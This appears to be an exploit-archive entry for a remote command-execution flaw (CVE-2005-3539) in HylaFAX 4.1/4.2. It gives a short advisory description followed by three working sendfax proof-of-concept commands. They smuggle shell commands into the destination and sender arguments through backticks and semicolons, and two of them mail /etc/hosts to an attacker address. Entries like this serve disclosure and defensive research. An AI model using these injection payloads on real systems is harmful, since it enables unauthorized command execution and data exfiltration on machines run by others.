Hylafax 4.1/4.2 (Multiple Scripts) - Remote Command Execution

Author: Patrice Fournier
type: remote
platform: linux
port: 
date_added: 2006-01-05  
date_updated: 2013-07-23  
verified: 1  
codes: CVE-2005-3539;OSVDB-22246  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 27032.txt  
source: https://www.securityfocus.com/bid/16151/info

HylaFAX is vulnerable to multiple arbitrary command-execution vulnerabilities. This issue is due to a failure in the application to properly sanitize user-supplied input.

These vulnerabilities allow an attacker to execute arbitrary commands in the context of the affected application. Successful exploitation may facilitate a compromise of the underlying system.

sendfax -d "411;number=\`cat /etc/hosts\`" /etc/hosts

sendfax -f "\`cat /etc/hosts|mail -s hosts attacker@example.com\` <attacker@example.com>" -d 411 /etc/hosts

sendfax -d "@411\";cat /etc/hosts|mail -s hosts attacker@example.com;" /etc/hosts